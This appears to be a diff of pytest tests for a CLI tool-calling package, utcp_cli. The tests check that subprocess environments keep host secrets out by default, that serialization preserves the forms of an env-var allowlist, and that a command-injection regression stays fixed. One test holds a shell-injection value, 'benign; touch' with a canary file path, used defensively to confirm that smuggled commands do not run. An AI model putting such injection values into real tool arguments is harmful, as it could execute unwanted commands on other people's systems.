def test_inherit_env_vars_passes_named_host_secrets(self, transport, monkeypatch):
|
|
173
|
+
# Caller can opt specific host secrets into the subprocess by name
|
|
174
|
+
# without copying their values into the call template.
|
|
175
|
+
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-host")
|
|
176
|
+
monkeypatch.setenv("AWS_PROFILE", "prod")
|
|
177
|
+
# NOT requested:
|
|
178
|
+
monkeypatch.setenv("DATABASE_URL", "postgres://...")
|
|
179
|
+
|
|
180
|
+
provider = CliCallTemplate(
|
|
181
|
+
commands=[{"command": "echo hi"}],
|
|
182
|
+
inherit_env_vars=["OPENAI_API_KEY", "AWS_PROFILE"],
|
|
183
|
+
)
|
|
184
|
+
env = transport._prepare_environment(provider)
|
|
185
|
+
assert env["OPENAI_API_KEY"] == "sk-from-host"
|
|
186
|
+
assert env["AWS_PROFILE"] == "prod"
|
|
187
|
+
assert "DATABASE_URL" not in env
|
|
188
|
+
|
|
189
|
+
def test_inherit_env_vars_skips_unset(self, transport, monkeypatch):
|
|
190
|
+
monkeypatch.delenv("THIS_DOES_NOT_EXIST", raising=False)
|
|
191
|
+
provider = CliCallTemplate(
|
|
192
|
+
commands=[{"command": "echo hi"}],
|
|
193
|
+
inherit_env_vars=["THIS_DOES_NOT_EXIST"],
|
|
194
|
+
)
|
|
195
|
+
env = transport._prepare_environment(provider)
|
|
196
|
+
assert "THIS_DOES_NOT_EXIST" not in env
|
|
197
|
+
|
|
198
|
+
def test_env_vars_override_inherit_env_vars(self, transport, monkeypatch):
|
|
199
|
+
monkeypatch.setenv("OPENAI_API_KEY", "host-value")
|
|
200
|
+
provider = CliCallTemplate(
|
|
201
|
+
commands=[{"command": "echo hi"}],
|
|
202
|
+
inherit_env_vars=["OPENAI_API_KEY"],
|
|
203
|
+
env_vars={"OPENAI_API_KEY": "explicit-override"},
|
|
204
|
+
)
|
|
205
|
+
env = transport._prepare_environment(provider)
|
|
206
|
+
assert env["OPENAI_API_KEY"] == "explicit-override"
|
|
207
|
+
|
|
208
|
+
def test_inherit_env_vars_empty_list_is_strict_mode(self, transport, monkeypatch):
|
|
209
|
+
# `inherit_env_vars=[]` means: nothing from host. Even PATH must
|
|
210
|
+
# not leak through.
|
|
211
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
212
|
+
monkeypatch.setenv("HOME", "/home/x")
|
|
213
|
+
monkeypatch.setenv("OPENAI_API_KEY", "secret")
|
|
214
|
+
|
|
215
|
+
provider = CliCallTemplate(
|
|
216
|
+
commands=[{"command": "echo hi"}],
|
|
217
|
+
inherit_env_vars=[],
|
|
218
|
+
)
|
|
219
|
+
env = transport._prepare_environment(provider)
|
|
220
|
+
assert env == {}
|
|
221
|
+
|
|
222
|
+
def test_inherit_env_vars_empty_list_with_env_vars(self, transport, monkeypatch):
|
|
223
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
224
|
+
provider = CliCallTemplate(
|
|
225
|
+
commands=[{"command": "echo hi"}],
|
|
226
|
+
inherit_env_vars=[],
|
|
227
|
+
env_vars={"FOO": "bar"},
|
|
228
|
+
)
|
|
229
|
+
env = transport._prepare_environment(provider)
|
|
230
|
+
# Only env_vars; default allowlist is bypassed.
|
|
231
|
+
assert env == {"FOO": "bar"}
|
|
232
|
+
|
|
233
|
+
def test_inherit_env_vars_list_replaces_default_allowlist(self, transport, monkeypatch):
|
|
234
|
+
# When the caller supplies a list, the default allowlist is NOT
|
|
235
|
+
# merged in. They get exactly the names they asked for.
|
|
236
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
237
|
+
monkeypatch.setenv("HOME", "/home/x")
|
|
238
|
+
monkeypatch.setenv("OPENAI_API_KEY", "secret")
|
|
239
|
+
|
|
240
|
+
provider = CliCallTemplate(
|
|
241
|
+
commands=[{"command": "echo hi"}],
|
|
242
|
+
inherit_env_vars=["OPENAI_API_KEY"],
|
|
243
|
+
)
|
|
244
|
+
env = transport._prepare_environment(provider)
|
|
245
|
+
assert env == {"OPENAI_API_KEY": "secret"}
|
|
246
|
+
|
|
247
|
+
def test_default_inherit_env_vars_includes_path_and_home(self, transport, monkeypatch):
|
|
248
|
+
# `inherit_env_vars=None` (omitted) → default allowlist. PATH and
|
|
249
|
+
# at least one platform-specific home directory variable should
|
|
250
|
+
# be inherited so shells/binaries work.
|
|
251
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
252
|
+
if os.name == "nt":
|
|
253
|
+
monkeypatch.setenv("USERPROFILE", "C:\\Users\\x")
|
|
254
|
+
home_key = "USERPROFILE"
|
|
255
|
+
else:
|
|
256
|
+
monkeypatch.setenv("HOME", "/home/x")
|
|
257
|
+
home_key = "HOME"
|
|
258
|
+
|
|
259
|
+
provider = CliCallTemplate(commands=[{"command": "echo hi"}])
|
|
260
|
+
env = transport._prepare_environment(provider)
|
|
261
|
+
assert env["PATH"] == "/usr/bin"
|
|
262
|
+
assert home_key in env
|
|
263
|
+
|
|
264
|
+
def test_default_inherit_env_vars_does_not_include_secrets(self, transport, monkeypatch):
|
|
265
|
+
for k in self.SECRET_KEYS:
|
|
266
|
+
monkeypatch.setenv(k, f"super-secret-{k}")
|
|
267
|
+
provider = CliCallTemplate(commands=[{"command": "echo hi"}])
|
|
268
|
+
env = transport._prepare_environment(provider)
|
|
269
|
+
for k in self.SECRET_KEYS:
|
|
270
|
+
assert k not in env
|
|
271
|
+
|
|
272
|
+
def test_explicit_none_matches_default(self, transport, monkeypatch):
|
|
273
|
+
# Constructing with `inherit_env_vars=None` must produce the same
|
|
274
|
+
# environment as omitting the field entirely — the
|
|
275
|
+
# default-allowlist branch is keyed on `is None`, so don't let a
|
|
276
|
+
# subtle change (e.g. switching the default to `[]`) silently
|
|
277
|
+
# flip behavior.
|
|
278
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
279
|
+
monkeypatch.setenv("OPENAI_API_KEY", "secret")
|
|
280
|
+
|
|
281
|
+
omitted = CliCallTemplate(commands=[{"command": "echo hi"}])
|
|
282
|
+
explicit_none = CliCallTemplate(
|
|
283
|
+
commands=[{"command": "echo hi"}],
|
|
284
|
+
inherit_env_vars=None,
|
|
285
|
+
)
|
|
286
|
+
assert (
|
|
287
|
+
transport._prepare_environment(omitted)
|
|
288
|
+
== transport._prepare_environment(explicit_none)
|
|
289
|
+
)
|
|
290
|
+
assert "PATH" in transport._prepare_environment(explicit_none)
|
|
291
|
+
assert "OPENAI_API_KEY" not in transport._prepare_environment(explicit_none)
|
|
292
|
+
|
|
293
|
+
def test_list_replaces_default_does_not_pull_in_other_defaults(
|
|
294
|
+
self, transport, monkeypatch
|
|
295
|
+
):
|
|
296
|
+
# Listing only PATH must not drag the rest of the default
|
|
297
|
+
# allowlist along (HOME / USERPROFILE / LANG / etc.).
|
|
298
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
299
|
+
monkeypatch.setenv("HOME", "/home/x")
|
|
300
|
+
monkeypatch.setenv("USERPROFILE", "C:\\Users\\x")
|
|
301
|
+
monkeypatch.setenv("LANG", "en_US.UTF-8")
|
|
302
|
+
|
|
303
|
+
provider = CliCallTemplate(
|
|
304
|
+
commands=[{"command": "echo hi"}],
|
|
305
|
+
inherit_env_vars=["PATH"],
|
|
306
|
+
)
|
|
307
|
+
env = transport._prepare_environment(provider)
|
|
308
|
+
assert env == {"PATH": "/usr/bin"}
|
|
309
|
+
|
|
310
|
+
def test_duplicate_names_in_inherit_env_vars_are_idempotent(
|
|
311
|
+
self, transport, monkeypatch
|
|
312
|
+
):
|
|
313
|
+
monkeypatch.setenv("FOO", "1")
|
|
314
|
+
provider = CliCallTemplate(
|
|
315
|
+
commands=[{"command": "echo hi"}],
|
|
316
|
+
inherit_env_vars=["FOO", "FOO", "FOO"],
|
|
317
|
+
)
|
|
318
|
+
env = transport._prepare_environment(provider)
|
|
319
|
+
assert env == {"FOO": "1"}
|
|
320
|
+
|
|
321
|
+
def test_unset_names_in_default_allowlist_are_skipped(
|
|
322
|
+
self, transport, monkeypatch
|
|
323
|
+
):
|
|
324
|
+
# If a key in the default allowlist is not set on the host, the
|
|
325
|
+
# resulting env dict must simply omit it (not include `None` /
|
|
326
|
+
# empty string / raise).
|
|
327
|
+
for key in transport._default_inherited_keys():
|
|
328
|
+
monkeypatch.delenv(key, raising=False)
|
|
329
|
+
# Add just one so the dict isn't empty.
|
|
330
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
331
|
+
|
|
332
|
+
provider = CliCallTemplate(commands=[{"command": "echo hi"}])
|
|
333
|
+
env = transport._prepare_environment(provider)
|
|
334
|
+
assert env == {"PATH": "/usr/bin"}
|
|
335
|
+
# Specifically: never None values.
|
|
336
|
+
for v in env.values():
|
|
337
|
+
assert v is not None
|
|
338
|
+
assert isinstance(v, str)
|
|
339
|
+
|
|
340
|
+
|
|
341
|
+
class TestInheritEnvVarsSerialization:
|
|
342
|
+
"""Pydantic round-trip: inherit_env_vars must preserve the
|
|
343
|
+
None / [] / [...] distinction when a CliCallTemplate flows through
|
|
344
|
+
the serializer (and thus through OpenAPI / JSON manuals).
|
|
345
|
+
"""
|
|
346
|
+
|
|
347
|
+
def test_round_trip_preserves_none(self):
|
|
348
|
+
from utcp_cli.cli_call_template import CliCallTemplateSerializer
|
|
349
|
+
|
|
350
|
+
tpl = CliCallTemplate(commands=[{"command": "x"}])
|
|
351
|
+
d = CliCallTemplateSerializer().to_dict(tpl)
|
|
352
|
+
# Either omitted or explicitly null is acceptable, but it must
|
|
353
|
+
# not silently become `[]`.
|
|
354
|
+
assert d.get("inherit_env_vars", None) is None
|
|
355
|
+
rebuilt = CliCallTemplateSerializer().validate_dict(d)
|
|
356
|
+
assert rebuilt.inherit_env_vars is None
|
|
357
|
+
|
|
358
|
+
def test_round_trip_preserves_empty_list(self):
|
|
359
|
+
from utcp_cli.cli_call_template import CliCallTemplateSerializer
|
|
360
|
+
|
|
361
|
+
tpl = CliCallTemplate(
|
|
362
|
+
commands=[{"command": "x"}], inherit_env_vars=[]
|
|
363
|
+
)
|
|
364
|
+
d = CliCallTemplateSerializer().to_dict(tpl)
|
|
365
|
+
assert d["inherit_env_vars"] == []
|
|
366
|
+
rebuilt = CliCallTemplateSerializer().validate_dict(d)
|
|
367
|
+
assert rebuilt.inherit_env_vars == []
|
|
368
|
+
|
|
369
|
+
def test_round_trip_preserves_listed_names(self):
|
|
370
|
+
from utcp_cli.cli_call_template import CliCallTemplateSerializer
|
|
371
|
+
|
|
372
|
+
tpl = CliCallTemplate(
|
|
373
|
+
commands=[{"command": "x"}],
|
|
374
|
+
inherit_env_vars=["PATH", "OPENAI_API_KEY"],
|
|
375
|
+
)
|
|
376
|
+
d = CliCallTemplateSerializer().to_dict(tpl)
|
|
377
|
+
assert d["inherit_env_vars"] == ["PATH", "OPENAI_API_KEY"]
|
|
378
|
+
rebuilt = CliCallTemplateSerializer().validate_dict(d)
|
|
379
|
+
assert rebuilt.inherit_env_vars == ["PATH", "OPENAI_API_KEY"]
|
|
380
|
+
|
|
381
|
+
|
|
382
|
+
# ---------------------------------------------------------------------------
|
|
383
|
+
# End-to-end: drive the real subprocess and confirm the injection payload
|
|
384
|
+
# does NOT escape its placeholder. Skipped on Windows because the mock
|
|
385
|
+
# script + bash assumptions don't apply identically.
|
|
386
|
+
# ---------------------------------------------------------------------------
|
|
387
|
+
|
|
388
|
+
@pytest.mark.skipif(os.name == "nt", reason="bash payload assumptions")
|
|
389
|
+
@pytest.mark.asyncio
|
|
390
|
+
async def test_no_command_injection_via_tool_args_unix(tmp_path):
|
|
391
|
+
"""Run the real shell pipeline with a malicious tool_arg and confirm
|
|
392
|
+
the injected `touch` never runs.
|
|
393
|
+
"""
|
|
394
|
+
transport = CliCommunicationProtocol()
|
|
395
|
+
|
|
396
|
+
canary = tmp_path / "pwned"
|
|
397
|
+
|
|
398
|
+
script = tmp_path / "echo_arg.py"
|
|
399
|
+
script.write_text(
|
|
400
|
+
"import sys\n"
|
|
401
|
+
"print('arg:' + sys.argv[1])\n"
|
|
402
|
+
)
|
|
403
|
+
|
|
404
|
+
call_template = CliCallTemplate(
|
|
405
|
+
commands=[
|
|
406
|
+
{"command": f"{sys.executable} {script} UTCP_ARG_value_UTCP_END"}
|
|
407
|
+
]
|
|
408
|
+
)
|
|
409
|
+
|
|
410
|
+
payload = f"benign; touch {canary}"
|
|
411
|
+
result = await transport.call_tool(
|
|
412
|
+
None, "echo_arg", {"value": payload}, call_template
|
|
413
|
+
)
|
|
414
|
+
|
|
415
|
+
assert not canary.exists(), (
|
|
416
|
+
"Command injection regression (GHSA-33p6-5jxp-p3x4): "
|
|
417
|
+
"the `; touch` payload escaped the placeholder and ran."
|
|
418
|
+
)
|
|
419
|
+
# The script should have observed the literal payload.
|
|
420
|
+
assert "benign; touch" in str(result)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|